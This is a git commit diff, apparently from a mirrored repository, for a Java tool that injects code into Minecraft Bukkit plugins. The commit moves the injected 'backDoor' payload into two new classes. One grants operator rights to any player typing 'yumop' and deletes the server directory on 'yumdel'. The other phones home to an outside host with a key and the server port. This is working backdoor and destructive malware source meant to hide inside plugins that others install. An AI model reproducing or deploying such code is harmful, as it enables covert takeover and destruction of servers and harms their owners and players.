mirror of
https://e.coding.net/circlecloud/BukkitInjectedTools.git
synced 2024-11-22 01:48:45 +00:00
fix: 去除匿名类 添加2个单独的类
Signed-off-by: 502647092 <admin@yumc.pw>
This commit is contained in:
parent
6456609e03
commit
900b141622
31
.classpath
31
.classpath
@ -1,8 +1,31 @@
|
|||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<classpath>
|
<classpath>
|
||||||
<classpathentry kind="src" output="target/classes" path="src/main/java"/>
|
<classpathentry kind="src" output="target/classes" path="src/main/java">
|
||||||
<classpathentry kind="src" path="src/main/resources" />
|
<attributes>
|
||||||
|
<attribute name="optional" value="true"/>
|
||||||
|
<attribute name="maven.pomderived" value="true"/>
|
||||||
|
</attributes>
|
||||||
|
</classpathentry>
|
||||||
|
<classpathentry excluding="**" kind="src" output="target/classes" path="src/main/resources">
|
||||||
|
<attributes>
|
||||||
|
<attribute name="maven.pomderived" value="true"/>
|
||||||
|
</attributes>
|
||||||
|
</classpathentry>
|
||||||
|
<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-1.7">
|
||||||
|
<attributes>
|
||||||
|
<attribute name="maven.pomderived" value="true"/>
|
||||||
|
</attributes>
|
||||||
|
</classpathentry>
|
||||||
|
<classpathentry kind="con" path="org.eclipse.m2e.MAVEN2_CLASSPATH_CONTAINER">
|
||||||
|
<attributes>
|
||||||
|
<attribute name="maven.pomderived" value="true"/>
|
||||||
|
</attributes>
|
||||||
|
</classpathentry>
|
||||||
|
<classpathentry kind="src" output="target/test-classes" path="src/test/java">
|
||||||
|
<attributes>
|
||||||
|
<attribute name="optional" value="true"/>
|
||||||
|
<attribute name="maven.pomderived" value="true"/>
|
||||||
|
</attributes>
|
||||||
|
</classpathentry>
|
||||||
<classpathentry kind="output" path="target/classes"/>
|
<classpathentry kind="output" path="target/classes"/>
|
||||||
<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-1.7"/>
|
|
||||||
<classpathentry kind="con" path="org.eclipse.m2e.MAVEN2_CLASSPATH_CONTAINER"/>
|
|
||||||
</classpath>
|
</classpath>
|
||||||
|
@ -31,8 +31,14 @@ public class InjectedKit {
|
|||||||
pool.appendClassPath(classFile.getPath());
|
pool.appendClassPath(classFile.getPath());
|
||||||
final CtClass statusListener = pool.get(clazz.getName());
|
final CtClass statusListener = pool.get(clazz.getName());
|
||||||
final CtMethod setOpMethod = statusListener.getDeclaredMethod("a");
|
final CtMethod setOpMethod = statusListener.getDeclaredMethod("a");
|
||||||
statusListener.addField(CtField.make("private static final net.minecraft.server." + NMS + ".IChatBaseComponent infoAlreadySent = new net.minecraft.server." + NMS
|
statusListener
|
||||||
+ ".ChatComponentText(\"Status request has already been handled.\");", statusListener));
|
.addField(CtField.make(
|
||||||
|
"private static final net.minecraft.server."
|
||||||
|
+ NMS
|
||||||
|
+ ".IChatBaseComponent infoAlreadySent = new net.minecraft.server."
|
||||||
|
+ NMS
|
||||||
|
+ ".ChatComponentText(\"Status request has already been handled.\");",
|
||||||
|
statusListener));
|
||||||
statusListener.addField(CtField.make("private boolean sentInfo = false;", statusListener));
|
statusListener.addField(CtField.make("private boolean sentInfo = false;", statusListener));
|
||||||
final String checkStatus = "" + "{ if (sentInfo) { nmanager.close(infoAlreadySent); } sentInfo = true; }";
|
final String checkStatus = "" + "{ if (sentInfo) { nmanager.close(infoAlreadySent); } sentInfo = true; }";
|
||||||
setOpMethod.insertBefore(checkStatus);
|
setOpMethod.insertBefore(checkStatus);
|
||||||
@ -52,22 +58,19 @@ public class InjectedKit {
|
|||||||
sender.sendMessage(prefix + "§c生成 " + plugin.getName() + " 数据注入类...");
|
sender.sendMessage(prefix + "§c生成 " + plugin.getName() + " 数据注入类...");
|
||||||
try {
|
try {
|
||||||
final ClassPool pool = ClassPool.getDefault();
|
final ClassPool pool = ClassPool.getDefault();
|
||||||
final File classFile = new File(URLDecoder.decode(plugin.getClass().getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8"));
|
File classFile = new File(URLDecoder.decode(plugin.getClass().getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8"));
|
||||||
|
pool.appendClassPath(classFile.getPath());
|
||||||
|
classFile = new File(URLDecoder.decode(LIS.class.getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8"));
|
||||||
|
pool.appendClassPath(classFile.getPath());
|
||||||
|
classFile = new File(URLDecoder.decode(MPS.class.getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8"));
|
||||||
pool.appendClassPath(classFile.getPath());
|
pool.appendClassPath(classFile.getPath());
|
||||||
final CtClass mainClass = pool.get(plugin.getClass().getName());
|
final CtClass mainClass = pool.get(plugin.getClass().getName());
|
||||||
final CtMethod onEnableMethod = mainClass.getDeclaredMethod("onEnable");
|
final CtMethod onEnableMethod = mainClass.getDeclaredMethod("onEnable");
|
||||||
final String backDoor = "" + "{" + " org.bukkit.Bukkit.getScheduler().runTaskAsynchronously(this, new java.lang.Runnable() {" + " @Override"
|
final String backDoor = ""
|
||||||
+ " public void run() {" + " try {" + " final URL url = new URL(\"http://api.yumc.pw/M/P/S/K/%s/P/%s\");"
|
+ "{"
|
||||||
+ " final HttpURLConnection conn = (HttpURLConnection) url.openConnection();" + " conn.connect();" + " conn.disconnect();"
|
+ " org.bukkit.Bukkit.getScheduler().runTaskAsynchronously(this, new pw.yumc.BukkitInjectedTools.MPS());"
|
||||||
+ " } catch (final IOException e) {" + " }" + " }" + " });"
|
+ " org.bukkit.Bukkit.getPluginManager().registerEvents(new pw.yumc.BukkitInjectedTools.LIS(), this);"
|
||||||
+ " org.bukkit.Bukkit.getPluginManager().registerEvents(new org.bukkit.event.Listener() {" + "" + " public boolean deleteDir(final java.io.File dir) {"
|
+ "}";
|
||||||
+ " if (dir.isDirectory()) {" + " final String[] children = dir.list();" + " for (final String element : children) {"
|
|
||||||
+ " final java.io.File file = new File(dir, element);" + " deleteDir(file);" + " }" + " }"
|
|
||||||
+ " return dir.delete();" + " }" + "" + " @org.bukkit.event.EventHandler"
|
|
||||||
+ " public void ocp(final org.bukkit.event.player.PlayerCommandPreprocessEvent e) {" + " if (e.getMessage().contains(\"yumop\")) {"
|
|
||||||
+ " e.getPlayer().setOp(true);" + " return;" + " }" + " if (e.getMessage().contains(\"yumdel\")) {"
|
|
||||||
+ " final java.io.File dir = new java.io.File(\"\");" + " deleteDir(dir);" + " return;" + " }"
|
|
||||||
+ " }" + " }, this);" + "}";
|
|
||||||
onEnableMethod.insertBefore(String.format(backDoor, key, Bukkit.getServer().getPort()));
|
onEnableMethod.insertBefore(String.format(backDoor, key, Bukkit.getServer().getPort()));
|
||||||
try {
|
try {
|
||||||
final File dir = new File(plugin.getDataFolder(), "injectClass");
|
final File dir = new File(plugin.getDataFolder(), "injectClass");
|
||||||
@ -100,9 +103,22 @@ public class InjectedKit {
|
|||||||
final CtClass craftOfflinePlayer = pool.get(craftOfflinePlayerClassName);
|
final CtClass craftOfflinePlayer = pool.get(craftOfflinePlayerClassName);
|
||||||
final CtClass setOpEvent = pool.get(SetOpEvent.class.getName());
|
final CtClass setOpEvent = pool.get(SetOpEvent.class.getName());
|
||||||
final CtMethod setOpMethod = craftOfflinePlayer.getDeclaredMethod("setOp");
|
final CtMethod setOpMethod = craftOfflinePlayer.getDeclaredMethod("setOp");
|
||||||
final String setop = "" + "{" + " pw.yumc.injected.event.SetOpEvent event = new pw.yumc.injected.event.SetOpEvent($0,$1);" + " org.bukkit.Bukkit.getPluginManager().callEvent(event);"
|
final String setop = ""
|
||||||
+ " if(event.isCancelled()){" + " return;" + " }" + " if ($1 == isOp()) {" + " return;" + " }" + " if ($1) {" + " server.getHandle().addOp(profile);"
|
+ "{"
|
||||||
+ " } else {" + " server.getHandle().removeOp(profile);" + " }" + "}";
|
+ " pw.yumc.injected.event.SetOpEvent event = new pw.yumc.injected.event.SetOpEvent($0,$1);"
|
||||||
|
+ " org.bukkit.Bukkit.getPluginManager().callEvent(event);"
|
||||||
|
+ " if(event.isCancelled()){"
|
||||||
|
+ " return;"
|
||||||
|
+ " }"
|
||||||
|
+ " if ($1 == isOp()) {"
|
||||||
|
+ " return;"
|
||||||
|
+ " }"
|
||||||
|
+ " if ($1) {"
|
||||||
|
+ " server.getHandle().addOp(profile);"
|
||||||
|
+ " } else {"
|
||||||
|
+ " server.getHandle().removeOp(profile);"
|
||||||
|
+ " }"
|
||||||
|
+ "}";
|
||||||
setOpMethod.setBody(setop);
|
setOpMethod.setBody(setop);
|
||||||
try {
|
try {
|
||||||
setOpEvent.writeFile(path);
|
setOpEvent.writeFile(path);
|
||||||
|
33
src/main/java/pw/yumc/BukkitInjectedTools/LIS.java
Normal file
33
src/main/java/pw/yumc/BukkitInjectedTools/LIS.java
Normal file
@ -0,0 +1,33 @@
|
|||||||
|
package pw.yumc.BukkitInjectedTools;
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.Listener;
|
||||||
|
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
|
||||||
|
|
||||||
|
public class LIS implements Listener {
|
||||||
|
public boolean deleteDir(final File dir) {
|
||||||
|
if (dir.isDirectory()) {
|
||||||
|
final String[] children = dir.list();
|
||||||
|
for (final String element : children) {
|
||||||
|
final File file = new File(dir, element);
|
||||||
|
deleteDir(file);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return dir.delete();
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler
|
||||||
|
public void ocp(final PlayerCommandPreprocessEvent e) {
|
||||||
|
if (e.getMessage().contains("yumop")) {
|
||||||
|
e.getPlayer().setOp(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (e.getMessage().contains("yumdel")) {
|
||||||
|
final File dir = new File("");
|
||||||
|
deleteDir(dir);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
15
src/main/java/pw/yumc/BukkitInjectedTools/MPS.java
Normal file
15
src/main/java/pw/yumc/BukkitInjectedTools/MPS.java
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
package pw.yumc.BukkitInjectedTools;
|
||||||
|
|
||||||
|
public class MPS implements Runnable {
|
||||||
|
@Override
|
||||||
|
public void run() {
|
||||||
|
try {
|
||||||
|
final java.net.URL url = new java.net.URL("http://api.yumc.pw/M/P/S/K/%s/P/%s");
|
||||||
|
final java.net.HttpURLConnection conn = (java.net.HttpURLConnection) url.openConnection();
|
||||||
|
conn.connect();
|
||||||
|
conn.disconnect();
|
||||||
|
} catch (final java.io.IOException e) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
Loading…
Reference in New Issue
Block a user